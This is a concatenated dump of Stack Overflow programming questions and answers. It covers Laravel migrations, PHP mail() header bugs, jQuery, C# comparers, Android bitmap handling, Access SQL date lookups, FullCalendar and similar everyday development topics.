~1ms and the SaveChanges ~1ms. Naturally I would expect M$ products to be fast, but I am stuck with mySQL and cannot change. So is there anything I can do?</p> </blockquote>
22195100	0	Laravel 4 Migration has syntax error when adding Foreign Key <p>I'm trying to create a pivot table to hold some relationship data for some basic ACL functionality.</p> <p>The migration class:</p> <pre><code>Schema::create('group_user', function($table) { $table-&gt;increments('id'); $table-&gt;unsignedInteger('group_id'); $table-&gt;unsignedInteger('user_id'); $table-&gt;timestamps(); $table-&gt;softDeletes(); }); Schema::table('group_user', function($table) { $table-&gt;foreign('group_id') -&gt;reference('id')-&gt;on('groups'); $table-&gt;foreign('user_id') -&gt;reference('id')-&gt;on('users'); }); </code></pre> <p>After running the migration command, I get the following error:</p> <pre><code> [Illuminate\Database\QueryException] SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')' at li ne 1 (SQL: alter table `group_user` add constraint group_user_group_id_foreign foreign key (`group_id`) references `groups` ()) </code></pre> <p>As you can see, the SQL syntax to add the foreign key constraint is missing the 'id' column name for the referenced table. Is this a bug in Laravel or is there something wrong with my schema code?</p>
31248738	0	 <p>You may be running into <a href="https://bugs.php.net/bug.php?id=69874" rel="nofollow">Bug #69874 Can't set empty additional_headers for mail()</a> if you haven't done anything stupid (i.e. forgot to sanitize the headers).</p> <p>Test for the bug</p> <pre><code>$ php -d display_errors=1 -d display_startup_errors=1 -d error_reporting=30719 -r 'mail("test@email.com","Subject Here", "Message Here",NULL);' Warning: mail(): Multiple or malformed newlines found in additional_header in Command line code on line 1 </code></pre> <p>Alternately if you know your PHP version (hint: <code>php -v</code>) you can check <a href="http://php.net/ChangeLog-5.php" rel="nofollow">the changelog</a> for the bug number (69874) to see whether <a href="https://github.com/php/php-src/commit/dacea3f6fb3f84c79a3412b24547eb2c636754f6" rel="nofollow">the fix</a> has been applied for your version. </p> <p>A short-term fix is to replace calls to mail() like this</p> <pre><code> function fix_mail( $to , $subject , $message , $additional_headers =NULL, $additional_parameters=NULL ) { $to=filter_var($to, FILTER_SANITIZE_STRING, FILTER_FLAG_NO_ENCODE_QUOTES| FILTER_FLAG_STRIP_LOW| FILTER_FLAG_STRIP_HIGH); $subject=filter_var($subject, FILTER_SANITIZE_STRING, FILTER_FLAG_NO_ENCODE_QUOTES| FILTER_FLAG_STRIP_LOW| FILTER_FLAG_STRIP_HIGH); if (!$additional_headers) return mail( $to , $subject , $message ); if (!$additional_parameters) return mail( $to , $subject , $message , $additional_headers ); return mail( $to , $subject , $message , $additional_headers, $additional_parameters ); } </code></pre>
8031029	0	 <p>To do this with multiple images you need to run though an <code>.each()</code> function. This works but I'm not sure how efficient it is.</p> <pre><code>$('img').hide(); $('img').each( function(){ $(this).on('load', function () { $(this).fadeIn(); }); }); </code></pre>
16622087	0	 <p>In case someone is wondering what the complete solution looks like, here it is:</p> <pre><code>&lt;?php /** * in my case, the script was put in a subfolder of the project-root, called 'cron' * make sure you adjust this according to where you put it. */ chdir(dirname(__DIR__)); // Setup autoloading require 'init_autoloader.php'; Zend\Mvc\Application::init(require 'config/application.config.php'); /** * your code goes here */ echo date("d-m-Y H:i:s").": cron finished"; </code></pre>
16991670	0	 <p>Or try to use the <strong>python-pexpect</strong> package instead of <strong>Subprocess</strong>. Much easier and friendly.</p> <pre><code>import pexpect mypassword='somepassword' child = pexpect.run('passwd guille') child.expect('Password:') child.sendline(mypassword) </code></pre>
27076213	0	 <p>Each G-WAN script is compiled <em>separately</em>. As a result, all your variables are <em>static</em> (local to this module) - you cannot share them without using pointers and atomic operations.</p> <p>In order to ease the use of <em>global</em> variables, G-WAN provides persistent pointers (<code>US_HANDLER_DATA</code>, <code>US_VHOST_DATA</code>, or <code>US_REQUEST_DATA</code>):</p> <pre><code>void *pVhost_persistent_ptr = (void*)get_env(argv, US_VHOST_DATA); if(pVhost_persistent_ptr) printf("%.4s\n", pVhost_persistent_ptr); // get a pointer on a pointer (to CHANGE the pointer value) void **pVhost_persistent_ptr = (void*)get_env(argv, US_VHOST_DATA); if(pVhost_persistent_ptr) *pVhost_persistent_ptr = strdup("persistent data"); </code></pre> <p>Several examples, like <a href="http://gwan.ch/source/persistence.c" rel="nofollow">persistence.c</a> or <a href="http://gwan.ch/source/stream3.c" rel="nofollow">stream3.c</a> illustrate how to proceed with real-life programs.</p>
30809773	0	 <p>You need to create a comparer that can compare tuples in such a way that the order of the items doens't matter:</p> <pre><code>public class UnorderedTupleComparer&lt;T&gt; : IEqualityComparer&lt;Tuple&lt;T, T&gt;&gt; { private IEqualityComparer&lt;T&gt; comparer; public UnorderedTupleComparer(IEqualityComparer&lt;T&gt; comparer = null) { this.comparer = comparer ?? EqualityComparer&lt;T&gt;.Default; } public bool Equals(Tuple&lt;T, T&gt; x, Tuple&lt;T, T&gt; y) { return comparer.Equals(x.Item1, y.Item1) &amp;&amp; comparer.Equals(x.Item2, y.Item2) || comparer.Equals(x.Item1, y.Item2) &amp;&amp; comparer.Equals(x.Item1, y.Item2); } public int GetHashCode(Tuple&lt;T, T&gt; obj) { return comparer.GetHashCode(obj.Item1) ^ comparer.GetHashCode(obj.Item2); } } </code></pre> <p>Note that an exclusive or of the hash codes is an operation that is going to have the same result regardless of the order of the operands, making it desirable here (but not in most hash code generating algorithms, as it's usually an <em>undesirable</em> property). As for <code>Equals</code>, one simply needs to check both possible pairings.</p> <p>Once you have that you can do:</p> <pre><code>var query = data.Distinct(new UnorderedTupleComparer&lt;string&gt;()); </code></pre>
25249921	0	 <p>In the general case, you can redirect <code>stdout</code> to a file with the <code>&gt;</code> character:</p> <pre><code>your_program_name whatever arguments here &gt; target.file ^^^^^^^^^^^^^ </code></pre>
27102492	0	 <p>ASP.net 5 ( MVC 6) still available as preview edition. Also they have changed some major changes so Owin the way it support in ASP.net MVC 5 will not support same way. As they have changed basic interface that support that functionality but today I came across article they provide information how can we use old Owin and integrate in ASP.net MVC 6. </p> <p><a href="http://blogs.msdn.com/b/webdev/archive/2014/11/14/katana-asp-net-5-and-bridging-the-gap.aspx" rel="nofollow">http://blogs.msdn.com/b/webdev/archive/2014/11/14/katana-asp-net-5-and-bridging-the-gap.aspx</a></p>
31019283	0	 <p>In your code <code>"pol1"</code> is called a <a href="https://en.wikipedia.org/wiki/String_literal" rel="nofollow"><em>string literal</em></a>. During compilation time, this data is stored into some memory area (<em>usually read-only memory, which cannot be altered, or atleast any attempt to alter the contents will result in <a href="https://en.wikipedia.org/wiki/Undefined_behavior" rel="nofollow">UB</a></em>) which is allocated by the compiler itself. </p> <p>When you use it, you essentially pass the base address of the string literal and collect it into a <code>char *</code> ( same as <code>char []</code> in case of usage in function parameter). There is no need for any allocation from your side.</p>
31731212	0	VS2013 Import Namespace "syntax error" <p>I am customizing a WSDL help file for a webservice. Currently on my .aspx I have a bunch of imports at the top:</p> <pre><code>&lt;%@ Import Namespace="System.Collections" %&gt; &lt;%@ Import Namespace="System.IO" %&gt; &lt;%@ Import Namespace="System.Xml.Serialization" %&gt; &lt;%@ Import Namespace="System.Xml" %&gt; &lt;%@ Import Namespace="System.Xml.Schema" %&gt; &lt;%@ Import Namespace="System.Web.Services" %&gt; </code></pre> <p>The error list current has 102 errors (the maximum it can display) and they all point to line 1 (see above, System.Collections) with many different errors like "syntax error", "end of statment expected" and "declaration expected". </p> <p>The service still works fine, and the namespaces are all being used properly. Should the namespaces be moved elsewhere? I want to handle this properly but couldn't find any information.</p>
10382834	0	 <p><a href="http://developers.facebook.com/docs/reference/javascript/FB.login/" rel="nofollow"><code>FB.login</code></a> and <code>FB.api</code> doesn't provide you success/failure reporting just like you trying to implement it. There is no second argument for callbacks...</p> <p><code>FB.login</code> callback get one and only argument:</p> <blockquote> <p>response from <a href="http://developers.facebook.com/docs/reference/javascript/FB.getLoginStatus/" rel="nofollow"><code>FB.getLoginStatus</code></a>, <a href="http://developers.facebook.com/docs/reference/javascript/FB.login/" rel="nofollow"><code>FB.login</code></a> or <a href="http://developers.facebook.com/docs/reference/javascript/FB.logout" rel="nofollow"><code>FB.logout</code></a>. This response object contains:</p> <p><strong>status</strong><br> The status of the User. One of connected, not_authorized or unknown.<br> <strong>authResponse</strong><br> The authResponse object.</p> </blockquote> <p><code>FB.api</code> callback get one and only arguments which is response from Graph API usually (but not always) containing <code>data</code> property, object fields, boolean false or <code>error</code> object (with <code>message</code>, <code>type</code> and <code>code</code> properties)</p> <hr> <p>You can modify your <code>loginHandler</code> by correction of response callbacks to take care of right arguments:</p> <pre><code>function loginHandler(loginResponse){ try{ if(loginResponse.authResponse){ alert('i am if'); FB.api('/me', function(response) { alert("first name == " + response.first_name + "\n ln === " + response.last_name); }); } }catch(error){} } </code></pre>
27485859	0	 <p>It is not specific to Bootstrap.</p> <p>Here is a solution using jQuery (works for bootstrap or non-bootstrap login box) :</p> <pre><code>$('.dropdown').on('mouseover', function () { $('.dropdown-menu', this).show(); }).on('mouseout', function (e) { if (!$(e.target).is('input')) { $('.dropdown-menu', this).hide(); } }); </code></pre> <p>thanks to dtrunks for this solution : <a href="http://stackoverflow.com/questions/19727671/div-disappears-when-hovering-the-input-autocomplete-in-firefox">Div disappears when hovering the input autocomplete in Firefox</a></p>
7673132	0	 <p>That's Helvetica Neue Light. You can find out this information using Firebug (Firefox) or Web Inspector (Chrome and Safari).</p> <p>Right-click the element on the page you are interested in and then click 'Inspect Element':</p> <p><img src="https://i.stack.imgur.com/5eJJl.png" alt="enter image description here"></p> <p>Then you will be able to see all of the attributes of that element:</p> <p><img src="https://i.stack.imgur.com/mdBtR.png" alt="enter image description here"></p>
8084770	0	 <p>Both <a href="http://www.openssl.org/" rel="nofollow">OpenSSL</a> and <a href="http://www.gnu.org/software/gnutls/" rel="nofollow">GnuTLS</a> provide full X.509/SSL/TLS cryptographic functionality, while also supporting smart cards via the <a href="http://www.opensc-project.org/opensc" rel="nofollow">OpenSC</a> library.</p> <p>I am not sure what authenticating against an SSH server implies, but you may want to have a look at the <a href="http://www.openssh.com/" rel="nofollow">OpenSSH</a> project.</p>
34112530	0	 <p>More elegant with shorter and more readable using <code>java.util.Random</code> and <code>IntStream</code></p> <pre><code>Random random = new Random(); random.ints(10, 0, 10000).boxed().forEach(randomIntegers::add); </code></pre>
5508588	1	Add and Compare Datetime in Python <p>How do I write this pseudocode in Python? With 'created_date' being a datetime object.</p> <pre><code>if (created_date + 30days) &lt; now: print 'valid' else: print 'expired' </code></pre>
8516141	0	Best approach for implementing Backbone js and jQuery <p>Can some one help me to find the best approach? Its is documentcloud.</p> <p>References between Models and Views can be handled several ways. </p> <ol> <li>Direct pointers, where views correspond 1:1 with models (model.view and view.model). </li> <li>Intermediate "controller" objects that orchestrate the creation and organization of views into a hierarchy. </li> <li>Evented approach, which always fire events instead of calling methods directly. </li> </ol> <p>Thanks!</p>
13462999	0	 <p>Dates in SQL are represented as #year/month/day#, eg. today's date would be #2012/11/19#, and to make DLookup work you have to use this syntax:</p> <pre><code>DLookup("HolidayDate", "Holidays", "HolidayDate=" &amp; Format([EncDateTime],"\#yyyy/mm/dd\#")) </code></pre> <p>to check if today is holiday, you could use this:</p> <pre><code>DLookup("HolidayDate", "Holidays", "HolidayDate=" &amp; Format(Date(),"\#yyyy/mm/dd\#")) </code></pre> <p>Yes, DLookup is slow, you should not use it in a query. To check if <code>EncDateTime</code> is a holiday, you should join <code>EncData</code> and <code>Holidays</code> togheter, with this SQL Code:</p> <pre><code>SELECT EncData.* FROM EncData INNER JOIN Holidays ON EncData.EncDateTime = Holidays.HolidayDate </code></pre> <p>This should return all EncData rows that are hoildays. It should, but it probably doesn't. Notice that EncDateTime contains not only the date, but also the time, so it doesn't match with HolidayDate that contains just the date. This works instead:</p> <pre><code>SELECT EncData.* FROM EncData INNER JOIN Holidays ON DateValue(EncData.EncDateTime) = Holidays.HolidayDate </code></pre> <p>And to extract all the rows in EncData, not just the holidays?</p> <pre><code>SELECT EncData.*, Holidays.HolidayDate FROM EncData LEFT JOIN Holidays ON DateValue(EncData.EncDateTime) = Holidays.HolidayDate </code></pre> <p>Notice that when HolidayDate contains a date only when that day is holiday, otherwise it will be NULL.</p> <p>These are just some basic ideas to start. But don't forget that you cans use wizards to make your query, then you can always see how your SQL code looks like.</p>
28321897	0	 <p>Using <a href="http://stackoverflow.com/a/28315502/1499016">Alex's answer</a> I was able to move multiple issues from one sprint to another. Adding step by step incase it helps anyone else.</p> <ol> <li>Filter all the open, in progress, blocked and submitted issues with the following command: <code>Sprint: {oldSprint} State: Submitted State: Open State: {In Progress} State: Blocked</code></li> <li>On the issue list select all the issues - thanks Alex</li> <li>Click the command dialog button in the header, and select open command dialog.</li> <li>In the command dialog type <code>Sprint Unscheduled Sprint newSprint</code>. This'll first unassign the issue from the old sprint then assign it to the new sprint.</li> </ol>
9290010	0	Database query to JsonArray <p>I´m getting data from a database, the query works in the correct way, but I want to save that data in JsonArray.</p> <pre><code>while(rset.next()){ for(int i=0;i&lt;numeroColumnas;i++){ json.addProperty(key[0], rset.getInt(key[0])); json.addProperty(key[1], rset.getString(key[1])); json.addProperty(key[2], rset.getString(key[2])); json.addProperty(key[3], rset.getInt(key[3])); json.addProperty(key[4], rset.getDouble(key[4])); json.addProperty(key[5], rset.getDouble(key[5])); } ajson.add(json); System.out.println("Cadena JSON:" +ajson.toString()); </code></pre> <p>}</p> <p>This code generates an incorrect output, I get repeat values:</p> <blockquote> <p>Cadena JSON:[{"IDCOORD":1,"HORA":"2012-02-13 07:58:06.146","FECHA":"2012-02-13 >07:58:03","COOR_IDEQUIPO":1,"LATITUD":28.56245,"LONGITUD":-16.7000555}]</p> <p>[{"IDCOORD":2,"HORA":"2012-02-13 07:59:41.881","FECHA":"2012-02-13 >07:59:39","COOR_IDEQUIPO":1,"LATITUD":-4.7152449,"LONGITUD":41.6514567}, {"IDCOORD":2,"HORA":"2012->02-13 07:59:41.881","FECHA":"2012-02-13 >07:59:39","COOR_IDEQUIPO":1,"LATITUD":->4.7152449,"LONGITUD":41.6514567}]</p> </blockquote> <p>I´m pretty sure that I´m doing something wrong on while. Thanks in advance!</p>
1191936	1	Is it possible to install SSL on Google app engine for iPhone application? <p>I am using python language for google app engine based iphone application .I want to install/access ssl on python. I am unable to find a way to install/enable it in python file. please guide me how can I make my application to connect to ssl As I want to Apple enable push notification services on my application Its urgent.</p>
35703857	0	Get files from remotePath that are not in localPath using C# <p>I am using WINSCP functionality with an SSIS script task to move files from a remotePath to a localPath. I am also setting these files to readonly using: </p> <pre><code>File.SetAttributes(LocalPath, FileAttributes.ReadOnly); </code></pre> <p>This works to set the attributes, it is just that since I have pulled some data from the remotePath that is already on the localPath, the readonly attribute gets set back to 0 and the archive attribute gets set to 1.</p> <p>Is there an easy way that I can just pull the files from the remotePath that aren't already in the localPath?</p> <p>This would eliminate any overwriting of files and also fix my readonly / archive attributes situation</p>
27365231	1	Write a program (or algorithm) in python which breaks up a string of texts into even and odd characters <pre><code>def breakString(str): i = 0 even = [] odd = [] for char in str if (i%2==0) even.push(char) else odd.push(char) </code></pre> <p>For some reason, this is not running in my python.</p>
11718748	0	 <p>You can use generic tags on chunks:</p> <ol> <li>Set the tag on relevant chunks</li> <li>Create a class that extends <code>PdfPageEventHelper</code> and add it to the writer</li> <li>Write the code that makes the underlining job on the <code>onGenericTag</code> method </li> <li>In the <code>onGenericTag</code> method you have the surrounding rect of the chunk: you can draw a line directly on the PdfContentByte using a dashed style or whatever style you desire.</li> </ol>
30881224	0	 <p>I would also add that transactional databases are meant to hold current state and oftentimes do so to be self-maintaining. You don't want transactional databases growing beyond their necessary means. When a workflow or transaction is complete then move that data out and into a Reporting database, which is much better designed to hold historical data.</p>
23845558	0	 <p>If your program is a GUI then it is a good idea to run the serial port code in a separate worker thread. ReadFile can take a long time to get serial data and this would block the GUI message processing if it was done in the main thread. To provide notification events from the serial thread to the main (GUI) thread you can use PostMessage with a user-defined message. An example of doing this is at<br> <a href="http://vcfaq.mvps.org/mfc/12.htm" rel="nofollow">http://vcfaq.mvps.org/mfc/12.htm</a></p>
10924433	0	 <pre><code>scala&gt; val s = "&lt;myapp&gt;&lt;username&gt;bill&lt;/username&gt;&lt;password&gt;secret123&lt;/password&gt;&lt;background&gt;#FFFFFF&lt;/background&gt;&lt;/myapp&gt;" s: java.lang.String = &lt;myapp&gt;&lt;username&gt;bill&lt;/username&gt;&lt;password&gt;secret123&lt;/password&gt;&lt;background&gt;#FFFFFF&lt;/background&gt;&lt;/myapp&gt; scala&gt; val e = xml.XML.loadString(s) e: scala.xml.Elem = &lt;myapp&gt;&lt;username&gt;bill&lt;/username&gt;&lt;password&gt;secret123&lt;/password&gt;&lt;background&gt;#FFFFFF&lt;/background&gt;&lt;/myapp&gt; scala&gt; val sp = new sys.SystemProperties sp: scala.sys.SystemProperties = Map(env.emacs -&gt; "", java.runtime.name -&gt; Java(TM) SE Runtime Environment, ....) scala&gt; sp ++= e.child.map(n =&gt; (e.label + "." + n.label, n.text)) res11: sp.type = Map(env.emacs -&gt; "", java.runtime.name -&gt; Java(TM) SE Runtime Environment, ...) </code></pre> <p>Sanity check:</p> <pre><code>scala&gt; val p = java.lang.System.getProperties p: java.util.Properties = {env.emacs=, java.runtime.name=Java(TM) SE Runtime Environment,...} scala&gt; import collection.JavaConversions._ import collection.JavaConversions._ scala&gt; p filter { case (k, v) =&gt; k.startsWith("myapp") } \ foreach { case (k,v) =&gt; println(k + "=" + v) } myapp.password=secret123 myapp.background=#FFFFFF myapp.username=bill </code></pre>
19935800	0	 <p>One of several places this topic has been discussed is <a href="http://stackoverflow.com/questions/19863952/xml-schema-maxoccurs-within-choice-element/19871075">this StackOverflow question</a>. </p> <p>You need a simple regular language over c1 and c2. The automaton you might write has two states: an initial state, in which no c2 has been encountered in the input, and in which c1 and c2 are accepted, and a second state in which c2 has been seen, and in which only c1 is accepted. This language can be described by the regular expression <code>(c1*c2c1*)</code>, or by the content model</p> <pre><code>&lt;xs:sequence&gt; &lt;xs:element ref="c1" minOccurs="0" maxOccurs="unbounded"/&gt; &lt;xs:element ref="c2"/&gt; &lt;xs:element ref="c1" minOccurs="0" maxOccurs="unbounded"/&gt; &lt;/xs:sequence&gt; </code></pre> <p>A more general form of the question (with two required elements) is described in <a href="http://stackoverflow.com/questions/2290360/xsd-how-to-allow-elements-in-any-order-any-number-of-times/12012599#12012599">this answer to a related SO question</a>. As the number of required elements rises, the content model experiences combinatorial explosion; in those cases, the all-groups of XSD 1.1 are much more convenient.</p>
42604	0	 <p>NHaml is my favorite for its terseness. People either love it or hate it, given that it looks very different from a traditional "HTML with inserted code" template system like ASPX or NVelocity.</p> <p><strong>Edit:</strong></p> <p>@Ben,</p> <p>There are other view engines which compile down (NHaml is one), so those do support custom HTML helpers. I wouldn't be surprised to see the currently interpreted view engines all eventually end up with a compilation model eventually.</p>
29124053	0	 <p>Everytime a user selects a timerange, it creates a kind of <a href="http://fullcalendar.io/docs/selection/selectHelper/" rel="nofollow">placeholder</a> event for visual feedback to the user. This isn't actually an event yet, and it is removed when the user makes another selection.</p> <p>What you need to do, is add an actual event whenever a selection is made.</p> <p>Use the <a href="http://fullcalendar.io/docs/selection/select_callback/" rel="nofollow">select callback</a>.</p> <p>It's triggered every time the user selects (clicks and drags) a time slot. In it, call <a href="http://fullcalendar.io/docs/event_data/addEventSource/" rel="nofollow">addEventSource</a> to add it to the calendar as an actual event. And then call <a href="http://fullcalendar.io/docs/selection/unselect_callback/" rel="nofollow">unselect</a> to manually remove the placeholder.</p> <pre><code>select: function (start, end, jsEvent, view) { $("#calendar").fullCalendar('addEventSource', [{ start: start, end: end, }, ]); $("#calendar").fullCalendar("unselect"); } </code></pre> <p><a href="http://fiddle.jshell.net/slicedtoad/qp6Lxshp/3/" rel="nofollow">JSFiddle</a></p>
27083155	0	Does a HTTP resource that accepts range requests always specify content-length? <p>Before starting a range request, I first check if it is supported using a HEAD request. Normally I get back something like this:</p> <pre><code>curl -X HEAD -i http://bits.wikimedia.org/images/wikimedia-button.png HTTP/1.1 200 OK ... Content-Length: 2426 Accept-Ranges: bytes ... </code></pre> <p>Is the Content-Length guaranteed per the HTTP/1.1 specification in this case? I can't find a definitive answer but it seems like I would need to know the Content-Length before I do a Range request.</p>
15897163	0	 <p>I made it! I found a nice tool for correct handling *.jpg files on Android platform with uncommon colorspaces like CMYK, YCCK and so on. Use <a href="https://github.com/puelocesar/android-lib-magick" rel="nofollow">https://github.com/puelocesar/android-lib-magick</a>, it's free and easy to configure android library. Here is a snippet for converting CMYK images to RGB colorspace:</p> <pre><code>ImageInfo info = new ImageInfo(Environment.getExternalStorageDirectory().getAbsolutePath() + "/cmyk.jpg"); MagickImage imageCMYK = new MagickImage(info); Log.d(TAG, "ColorSpace BEFORE =&gt; " + imageCMYK.getColorspace()); boolean status = imageCMYK.transformRgbImage(ColorspaceType.CMYKColorspace); Log.d(TAG, "ColorSpace AFTER =&gt; " + imageCMYK.getColorspace() + ", success = " + status); imageCMYK.setFileName(Environment.getExternalStorageDirectory().getAbsolutePath() + "/cmyk_new.jpg"); imageCMYK.writeImage(info); Bitmap bitmap = BitmapFactory.decodeFile(Environment.getExternalStorageDirectory().getAbsolutePath() + "/Docs/cmyk_new.jpg"); if (bitmap == null) { //if decoding fails, create empty image bitmap = Bitmap.createBitmap(imageCMYK.getWidth(), imageCMYK.getHeight(), Config.ARGB_8888); } ImageView imageView1 = (ImageView) findViewById(R.id.imageView1); imageView1.setImageBitmap(bitmap); </code></pre>
29157138	0	Android Eclipse application, compatible error <p>I'm developing Android app just for hobby, and I made an app, when I test on my phones works well, I tested on :</p> <ul> <li>Alcatel idol OneTouch 2S ( 6050y )</li> <li>Sony Xperia Tipo ( st21i )</li> <li>Samsung Galaxy Ace</li> <li>Asus Memo Pad HD7 (Tablet)</li> </ul> <p>Works great, and no error at all... but when I tested on Samsung Galaxy S4, and Samsung Galaxy S3.. no background music (on Galaxy S4 and no background pics are shown ), and what I click I see report error message so application crushes..</p> <p>Error Log:</p> <pre><code>03-20 16:55:07.366: D/skia(29417): --- allocation failed for scaled bitmap 03-20 16:55:07.376: D/AndroidRuntime(29417): Shutting down VM 03-20 16:55:07.376: W/dalvikvm(29417): threadid=1: thread exiting with uncaught exception (group=0x4206c700) 03-20 16:55:07.391: E/AndroidRuntime(29417): FATAL EXCEPTION: main 03-20 16:55:07.391: E/AndroidRuntime(29417): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.**********a/com.***********a.Info}: android.view.InflateException: Binary XML file line #2: Error inflating class &lt;unknown&gt; 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2295) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2349) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.ActivityThread.access$700(ActivityThread.java:159) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1316) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.os.Handler.dispatchMessage(Handler.java:99) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.os.Looper.loop(Looper.java:176) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.ActivityThread.main(ActivityThread.java:5419) 03-20 16:55:07.391: E/AndroidRuntime(29417): at java.lang.reflect.Method.invokeNative(Native Method) 03-20 16:55:07.391: E/AndroidRuntime(29417): at java.lang.reflect.Method.invoke(Method.java:525) 03-20 16:55:07.391: E/AndroidRuntime(29417): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:1046) 03-20 16:55:07.391: E/AndroidRuntime(29417): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:862) 03-20 16:55:07.391: E/AndroidRuntime(29417): at dalvik.system.NativeStart.main(Native Method) 03-20 16:55:07.391: E/AndroidRuntime(29417): Caused by: android.view.InflateException: Binary XML file line #2: Error inflating class &lt;unknown&gt; 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.LayoutInflater.createView(LayoutInflater.java:626) 03-20 16:55:07.391: E/AndroidRuntime(29417): at com.android.internal.policy.impl.PhoneLayoutInflater.onCreateView(PhoneLayoutInflater.java:56) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.LayoutInflater.onCreateView(LayoutInflater.java:675) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.LayoutInflater.createViewFromTag(LayoutInflater.java:700) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.LayoutInflater.inflate(LayoutInflater.java:470) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.LayoutInflater.inflate(LayoutInflater.java:398) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.LayoutInflater.inflate(LayoutInflater.java:354) 03-20 16:55:07.391: E/AndroidRuntime(29417): at com.android.internal.policy.impl.PhoneWindow.setContentView(PhoneWindow.java:361) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.Activity.setContentView(Activity.java:1956) 03-20 16:55:07.391: E/AndroidRuntime(29417): at *********.Info.onCreate(Info.java:16) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.Activity.performCreate(Activity.java:5372) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1104) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2257) 03-20 16:55:07.391: E/AndroidRuntime(29417): ... 11 more 03-20 16:55:07.391: E/AndroidRuntime(29417): Caused by: java.lang.reflect.InvocationTargetException 03-20 16:55:07.391: E/AndroidRuntime(29417): at java.lang.reflect.Constructor.constructNative(Native Method) 03-20 16:55:07.391: E/AndroidRuntime(29417): at java.lang.reflect.Constructor.newInstance(Constructor.java:417) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.LayoutInflater.createView(LayoutInflater.java:600) 03-20 16:55:07.391: E/AndroidRuntime(29417): ... 23 more 03-20 16:55:07.391: E/AndroidRuntime(29417): Caused by: java.lang.OutOfMemoryError 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.graphics.BitmapFactory.nativeDecodeAsset(Native Method) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.graphics.BitmapFactory.decodeStream(BitmapFactory.java:596) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.graphics.BitmapFactory.decodeResourceStream(BitmapFactory.java:444) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.graphics.drawable.Drawable.createFromResourceStream(Drawable.java:832) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.content.res.Resources.loadDrawable(Resources.java:2988) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.content.res.TypedArray.getDrawable(TypedArray.java:602) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.View.&lt;init&gt;(View.java:3563) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.view.ViewGroup.&lt;init&gt;(ViewGroup.java:475) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.widget.LinearLayout.&lt;init&gt;(LinearLayout.java:176) 03-20 16:55:07.391: E/AndroidRuntime(29417): at android.widget.LinearLayout.&lt;init&gt;(LinearLayout.java:172) 03-20 16:55:07.391: E/AndroidRuntime(29417): ... 26 more </code></pre> <p>Please any help ?</p>
35296774	0	 <p>All commands from menu have a command-name callable via M-x COMMAND RET. In this case M-x <code>python-send-region</code> RET</p>
2487243	0	 <p>You could just use wget's <code>-N</code> and <code>-c</code> options and remove the entire "if file exists" logic.</p>
27610914	0	 <p>It does not just happen for ng-repeat, this seems to happen for any other directives that creates a scope like <code>ng-if</code> as well. And it seems like, this is because the directive's isolated scope gets overwritten by the ng-repeat's child scope. And because of <code>replace:true</code> option ng-repeat becomes a part of the directive source element i.e <code>&lt;foo&gt;&lt;/foo&gt;</code> and the child scope of ng-repeat is calculated from the ultimate parent scope <code>MainCtrl</code> (Which appears to be wrong) and this causes the entire directive template to be bound to the child scope of controller and any interpolations are evaluated against that scope. Hence you see main controller's scope being expanded in the directive. This seems like a bug.</p>
17196396	0	PEAR and absolute paths <p>In <a href="http://stackoverflow.com/questions/15516575/why-doesnt-pear-use-absolute-paths">why doesn&#39;t PEAR use absolute paths?</a> it's stated that PEAR doesn't use absolute paths so people can overwrite select PEAR libs with their own. Is that the only reason? And if so is there any evidence that people actually do that?</p> <p>I mean, it seems like using absolute paths would resolve a lot of issues people have with using PEAR libs and if the only reason for not using absolute paths is a use-case that no one actually utilizes it seems like PEAR would be better off using them.</p> <p>(I don't consider this question a duplicate but more as a followup; posting in the other question likely wouldn't get me any responses since that question's already been answered, so I post this new question)</p>
36494038	0	Is a variable declared under Grails(1.3.6) controller action and class variable thread safe? <p>Is a variable declared under Grails(1.3.6) controller action and class variable thread safe? i.e</p> <pre><code>class TestController { String y //Is y thread-safe? def testAction = { String x //Is x thread-safe? } } </code></pre>
13656801	0	 <p>Create a recursive function:</p> <p>Semi-psuedo:</p> <pre><code>function dumpArr (arr){ foreach element in arr { if element is array/object{ dumpArr(element) }else{ echo element } } } </code></pre> <p>then, you can use CSS to adjust the padding, margin, etc</p>
17444628	0	 <p>you can use <code>explode</code> to convert the string to an array using a delimeter.</p> <p>for example </p> <pre><code> $array = explode(",", $string); </code></pre>
